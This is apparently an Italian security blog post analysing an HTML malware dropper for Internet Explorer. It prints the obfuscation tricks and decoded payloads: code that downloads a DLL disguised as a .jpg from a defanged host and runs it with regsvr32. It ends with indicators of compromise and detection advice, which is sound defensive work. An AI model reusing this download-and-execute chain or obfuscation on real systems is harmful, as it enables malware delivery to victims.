Della serie old but gold…
Negli ultimi anni, il panorama delle minacce si è spostato sempre più verso tecniche di social engineering e sfruttamento di vecchie tecnologie legacy ancora presenti in ambienti enterprise. In questo articolo analizziamo in dettaglio un campione malevolo in formato file HTML che contiene JavaScript e VBScript, progettato per sfruttare Internet Explorer su Windows. Lo scopo finale è scaricare un payload mascherato da immagine .jpg ed eseguirlo tramite regsvr32, abusando della possibilità di caricare librerie DLL con estensioni arbitrarie.
Il file è un documento HTML che a prima vista sembra innocuo: contiene qualche paragrafo (<p>) e alcune funzioni JavaScript dai nomi volutamente caotici. In realtà, questi elementi servono a offuscare il codice e a impedire una rapida rilevazione da parte di sistemi di difesa basati su firme statiche.
Le tecniche principali sono:
atob<p id='notebookI9'>eval</p>
<p id='i9CardCard'>[PAYLOAD_BASE64]---[PAYLOAD_BASE64]</p>
<p id='superComputer'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=</p>
#notebookI9 contiene la stringa eval.#i9CardCard contiene due blob codificati, separati da ---.#superComputer contiene l’alfabeto Base64.Questi tre elementi sono utilizzati dal decoder JavaScript.
function notebookCard(encoded) {
var alphabet = gigabyteComputerNotebook('superComputer');
var output = "";
// ... implementazione manuale di Base64 decode ...
return output;
}
function gigabyteCardAsus(str){
return str.split('').reverse().join('');
}
function processorMouse(blob){
return gigabyteCardAsus(notebookCard(blob));
}
notebookCard implementa un decoder Base64 personalizzato.gigabyteCardAsus inverte le stringhe.processorMouse decodifica e poi inverte.I due payload vengono così ottenuti in chiaro.
var cardNotebook = gigabyteComputerNotebook('i9CardCard').split("---");
var centerTable = processorMouse(cardNotebook[0]); // primo payload
var mouseTableAsus = processorMouse(cardNotebook[1]); // secondo payload
function computerCardKeyboard(code){
cardSuperMouse[gigabyteComputerNotebook('notebookI9')](code);
}
cardNotebook estrae i due blob Base64 dall’HTML.centerTable e mouseTableAsus diventano i due script in chiaro.computerCardKeyboard invoca eval senza scriverlo direttamente, prelevandolo da #notebookI9.<script language='vbscript'>
Call computerCardKeyboard(centerTable)
: Call computerCardKeyboard(mouseTableAsus)
</script>
Questa sezione è cruciale: VBScript chiama direttamente la funzione JavaScript passando come argomento i due payload decodificati. Questa tecnica è specifica di Internet Explorer.
Il primo payload decodificato appare come segue (semplificato per leggibilità):
try {
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET", "http://mcfarlandsquirrelg[.]com/.../payload", false);
xhr.send();
if (xhr.status == 200) {
var stream = new ActiveXObject("ADODB.Stream");
stream.Open();
stream.Type = 1;
stream.Write(xhr.responseBody);
stream.SaveToFile("C:\\Users\\Public\\keyboardCard.jpg", 2);
stream.Close();
}
} catch(e) {}
Questo codice:
XMLHTTP per eseguire una richiesta HTTP.ADODB.Stream per salvare i dati su disco in C:\Users\Public\keyboardCard.jpg.Il file non è un’immagine, bensì una DLL camuffata con estensione .jpg.
Il secondo payload decodificato esegue:
try {
var shell = new ActiveXObject("WScript.Shell");
shell.Run("regsvr32 C:\\Users\\Public\\keyboardCard.jpg");
} catch(e) {}
Qui il malware sfrutta regsvr32 per caricare la DLL appena scaricata.
Il trucco consiste nel fatto che regsvr32 non si basa sull’estensione, ma sul contenuto: se il file è una DLL valida, l’estensione .jpg non impedisce l’esecuzione.
C:\Users\Public\keyboardCard.jpgregsvr32 C:\Users\Public\keyboardCard.jpgMSXML2.XMLHTTP, ADODB.Stream, WScript.Shell)VBScript + JavaScript.jpgmcfarlandsquirrelg[.]com (con percorsi lunghi e casuali nel querystring).Il dropper utilizza diverse strategie per sfuggire a controlli statici:
eval e atob.moveTo(-101,-102)) e chiuderla subito dopo l’esecuzione (window.close()).gigabyteComputerNotebook, mouseTableAsus).Questa tecnica è un classico esempio di abuso delle tecnologie legacy di Windows e Internet Explorer.
Gli elementi chiave sono:
Nonostante IE e VBScript siano obsoleti, in molte realtà enterprise possono ancora essere presenti per compatibilità con vecchie applicazioni. Questo rende tali attacchi tuttora praticabili.
mcfarlandsquirrelg[.]com).C:\Users\Public\ e correlare con i timestamp degli eventi.Il campione analizzato dimostra come un semplice file HTML possa fungere da dropper multi-stadio, sfruttando componenti legacy di Windows/IE per:
Questa tipologia di minaccia sottolinea l’importanza di eliminare tecnologie obsolete dagli ambienti produttivi e di monitorare attentamente l’utilizzo di binari di sistema che possono essere abusati in catene di attacco.